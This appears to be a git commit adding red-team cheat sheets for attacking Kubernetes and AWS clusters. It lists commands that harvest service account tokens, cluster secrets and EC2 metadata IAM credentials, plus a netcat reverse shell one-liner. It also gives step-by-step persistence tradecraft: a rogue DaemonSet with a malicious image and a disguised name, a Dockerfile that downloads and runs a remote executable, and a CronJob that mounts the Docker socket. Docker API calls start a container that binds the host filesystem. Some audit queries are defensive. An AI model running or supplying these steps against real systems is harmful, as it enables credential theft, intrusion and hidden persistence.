first commit

This commit is contained in:
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,21 @@
- Get all Configmaps With Sensetive Details In Keys
- `kubectl get configmaps --all-namespaces -o json | jq -r '.items[].data | select(. != null)' | awk '{print(tolower($0))}' | jq -r 'with_entries( select(.key|(contains("pass") or contains("secret") or contains("token"))))'`
- Get all configmaps with sensetive details in values
- `kubectl get configmaps --all-namespaces -o json | jq -r '.items[].data | select(. != null)' | awk '{print(tolower($0))}' | jq -r 'with_entries( select(.value|(contains("pass") or contains("secret") or contains("token"))))'`
- Get Containers With Sensitive Details In env
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[].env | select(. != null)' | awk '{print(tolower($0))}' | jq -r '.[] | select(.name | (contains("pass") or contains("secret") or contains("token")))'`
- Get the Kubernetes Token Mounted by Default
- `TOKEN=$(kubectl exec $POD_NAME -n $NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)`
- Test Communication to the Kubernetes API Server
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://$API_SERVER/api --header 'Authorization: Bearer $TOKEN' --insecure`
- List all Kubernetes Cluster Secrets
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://$API_SERVER/api/v1/namespaces/kube-system/secrets --header 'Authorization: Bearer $TOKEN' --insecure`
- Get AWS EC2 Instance Metadata Token
- `kubectl exec ingress-nginx-controller-df547d78c-rxww2 -n ingress-nginx -- curl http://169.254.169.254/latest/meta-data/iam/security-credentials/nodes.kopstest.k8s.local`
@@ -0,0 +1,57 @@
- Get API version
- `curl -Lk https://<API_IP>/version --header "Authorization: Bearer $TOKEN"`
- Useful API endpoints
- Spec
- `https://<API_IP>/openapi/v2`
- Secrets
- `api/v1/namespaces/default/secrets/`
- Account information
- `api/v1/namespaces/default/serviceaccounts`
- Get Load Balancers
- `kubectl get services --all-namespaces -o jsonpath='{range .items[?(@.spec.type=="LoadBalancer")]}{.status.loadBalancer.ingress[*].hostname}:{.spec.ports[*].port}{"\n"}{end}'`
- List pods in `kube-system` namespace
- `kubectl get pods -n kube-system`
- Get all secrets (requires cluster admin permissions, usually `kube-system` token)
- `kubectl get secrets --all-namespaces`
- List all pods running on current node to determine which secrets are accessible
- `kubectl get pods --all-namespaces --field-selector spec.nodeName=<node_name>`
- Retrieve specific secret
- `kubectl get secret <secret_name> -o json -n <namespace> | jq .data`
- Get External IP's of all nodes
- `kubectl get nodes --all-namespaces -o jsonpath='{range .items[*].status.addresses[?(@.type=="ExternalIP")]}{.address}{"\n"}{end}'`
- Get Kubernetes API Server Config
- `POD_NAME=$(kubectl get pods --namespace kube-system | grep kube-apiserver | head -1 | awk '{print $1}') && kubectl describe pod $POD_NAME --namespace kube-system`
- Get list of nodes sorted by creation time (useful for finding stable machines for persistence)
- `kubectl get nodes sort-by=.metadata.creationTimestamp`
- Get Kubernetes API Server Container Args
- `POD_NAME=$(kubectl get pods --namespace kube-system | grep kube-apiserver | head -1 | awk '{print $1}') && kubectl get pod $POD_NAME --namespace kube-system -o json | jq -r '.spec.containers | .[] |select(.name == "kube-apiserver")| .args'`
- Get Network Policies
- `kubectl get networkpolicy --all-namespaces`
- Get Cluster Admin Role Bindings
- `kubectl get clusterrolebindings | grep "ClusterRole/cluster-admin"`
- Get Cluster Roles With Secrets Access
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "secrets" )|select(. != null)).metadata.name'`
- Get Roles With Secrets Access
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "secrets" )|select(. != null)).metadata.name'`
- Get Cluster Roles with Configmaps Access
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "configmaps" )|select(. != null)).metadata.name'`
- Get Roles with Configmaps Access
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "configmaps" )|select(. != null)).metadata.name'`
- Get Pods With Containers Without Resources Limits
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[] | select(.resources.limits == null).name'`
- Get All Containers Images
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[].image' | sort | uniq`
- Get cluster roles with wildcard resources
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "*" )|select(. != null)).metadata.name'`
- Get roles with wildcard resources
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "*" )|select(. != null)).metadata.name'`
@@ -0,0 +1,5 @@
- Run a Reverse Shell from the Kubernetes Cluster to your Host
- `kubectl run pod-shell --image=busybox -- nc <HOST> <PORT> -e /bin/sh`
- Get the External IP for Egress Communication to the Internet
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://ipinfo.io/json`
+32
View File
@@ -0,0 +1,32 @@
- Increase number of containers currently deployed
- `kubectl scale --replicas=3 deployment/nginx`
- Update application version of running containers
- `kubectl set image deployment/nginx-deployment\nginx=nginx:1.9.1 --record`
- Get a shell on a particular container
- `kubectl exec sparcflow/nginx-<container_number> bash`
- Deploy a pod according to YAML manifest file
- `kubectl apply -f <manifest_file>`
- Get a list of running pods
- `kubectl get pods`
- Clean output
- `kubectl get pods -n prod -o="custom-columns=NODE:.spec.nodeName,POD:.metadata.name"`
- Destroy pod
- `kubectl delete -f <manifest_file>`
- Check for service account secrets
1. `mount |grep -i secrets`
2. `cat /run/secrets/kubernetes.io/serviceaccount/token`
- Decode JWT secret
- `cat /run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f 2 | base64 -d`
- Interact with API with pilfered secret:
1. `export TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)`
2. `env` - Determine location of API
3. `curl -Lk https://10.100.0.1/api --header "Authorization: Bearer $TOKEN"`
- Check authorization to perform various actions
- `kubectl version auth can-i <action>`
- `kubectl version auth can-i get nodes`
- `kubectl version auth can-i get pods`
- Make sure you specify namespace with -n if the above succeeds, but the actual action fails. Use namespace specified in the JWT
- Extract manifest of all pods
- `kubectl get pods -n prod -o yaml > output.yaml`
- Get nicely formatted output:
- ` kubectl get pods -o="custom-columns=NODE:.spec.nodeName,POD:.metadata.name,PODIP:.status.podIP,SERVICE:.spec.serviceAccount,ENV:.spec.containers[*].env[*].valueFrom.secretKeyRef,FILESECRET:.spec.volumes[*].secret.secretName"`
@@ -0,0 +1,106 @@
- Use redundant means in cloud and Kubernetes environments, since the instances/nodes/pods/etc. are constantly in flux.
- Stable -> spinning up a malicious pod
- Unstable -> running executable inside a current pod or on a cloud node
- Useful names for container/pods/bucket to blend in:
- Container - `amazon-k8s-cni` - Mimics legitimate Amazon image
- S3 bucket - `(amazon-cni-plugin-essentials` - Blends in with more legit Amazon infra
- Persistence within AWS Kubernetes is most convenient by spinning up a new pod of the `DaemonSet`, `aws-node` variety
- Service account is automatically given read-only access to everything
- All containers mount the docker socket for easy root access to the host
- **Caveat**: make sure to limit the nodes this runs on; by default `DaemonSet` runs on every node
- Create:
1. Pull the manifest of the existing, normal `DaemonSet`
- `kubectl get DaemonSet aws-node -o yaml -n kube-system > aws-ds-manifest.yaml`
2. Change the location of the image to location of malicious image
- `sed -E "s/image: .*/image: 886477354405.dkr.ecr.eu-west-1.amazonaws.com/amazon-k8s-cni:v1.5.3/g" -i aws-ds-manifest.yaml`
3. Change the name of the `DaemonSet` to avoid conflicting with the existing, normal `DaemonSet`
- `sed "s/ name: aws-node/ name: aws-node-cni/g" -i aws-ds-manifest.yaml`
4. Replace host and container port to avoid conflict
- `sed -E "s/Port: [0-9]+/Port: 12711/g" -i aws-ds-manifest.yaml`
5. Update node label key and value - specify which nodes should run the pod
- `sed "s/ key: beta.kubernetes.io\/os/ key: service/g" -i aws-ds-manifest.yaml`
- `sed "s/ linux/ kafka-broker-collector/g" -i aws-ds-manifest.yaml`
6. Push new manifest to the cluster
- `kubectl -f apply -n kube-system aws-ds-manifest.yaml`
- Can also use `ReplicaSet`
- This would allow us to use `aws-node` as the name since they would belong to a different Kubernetes object than `DaemonSet`
- Cron job
- Can be implemented at the cluster level to spin up a pod at a certain time or under certain conditions
- For additional stealth, the cron pod can be used to contact the Docker socket and spin up a new container in which to run the malicious code, allowing the cron pod to terminate gracefully.
- Advantage of this is it is set up separate from Kubernetes and invisible to the cluster.
- Use a container name that mimics the typical "pause" containers - there are always many running
- Kubernetes mutating webhook - post v1.15
- Look into this
- [Writing a very basic Kubernetes mutating admission webhook](https://medium.com/ovni/writing-a-very-basic-kubernetes-mutating-admission-webhook-398dbbcb63ec)
- Example Dockerfile to download and run an arbitrary executable within Alpine container
```Dockerfile
FROM alpine
CMD ["/bin/sh", "-c", "wget https://amazon-cni-plugin-essentials.s3.amazonaws.com/run -O /root/run && chmod +x /root/run && /root/run"]
```
- Example manifest file for persistence cron:
```YAML
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: metrics-collect
spec:
schedule: "0 10 * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: metrics-collect
image: 882347352467.dkr.ecr.eu-west-1.amazonaws.com/amazon-metrics-collector
volumeMounts:
- mountPath: /var/run/docker.sock
name: dockersock
volumes:
- name: dockersock
hostPath:
path: /var/run/docker.sock
restartPolicy: Never
```
- Example Docker image for persistence cron:
```Dockerfile
FROM debian: buster-slim
RUN apt update && apt install -y git make
RUN apt install -y prometheus-varnish-exporter
COPY init.sh /var/run/init.sh
ENTRYPOINT ["/var/run/init.sh"]
```
- Script to pull image, create a container, and start a container independent of Kubernetes (update image paths and such):
```BASH
# Pull the image from the ECR registry
curl \
--silent \
--unix-socket /var/run/docker.sock \
"http://docker/images/create?fromImage=881445392307.dkr.ecr.eu-west\
-1.amazonaws.com/pause-amd64" \
-X POST
# Create the container from the image and mount the / directory
curl \
--silent \
--unix-socket /var/run/docker.sock \
"http://docker/containers/create?name=pause-go-amd64-4413" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "881445392307.dkr.ecr.eu-west-1.amazonaws.com/pause-amd64",\
"Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}'
# Start the container
curl \
--silent \
--unix-socket /var/run/docker.sock \
"http://docker/containers/pause-go-amd64-4413/start" \
-X POST \
-H "Content-Type: application/json" \
--output /dev/null \
--write-out "%{http_code}"
```
@@ -0,0 +1,12 @@
- Get Pods With Privileged Containers
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.privileged == true)).metadata.name'`
- Get Pods with Containers allowed to perform Privilege Escalation
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.allowPrivilegeEscalation == true)).metadata.name'`
- Get Pods with Containers running as Root
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.runAsUser == 0)).metadata.name'`
- Get Pods with Containers including System Admin Capability
- `kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.spec.containers[].securityContext.capabilities.add | index("SYS_ADMIN") | select(. != null)).metadata.name'`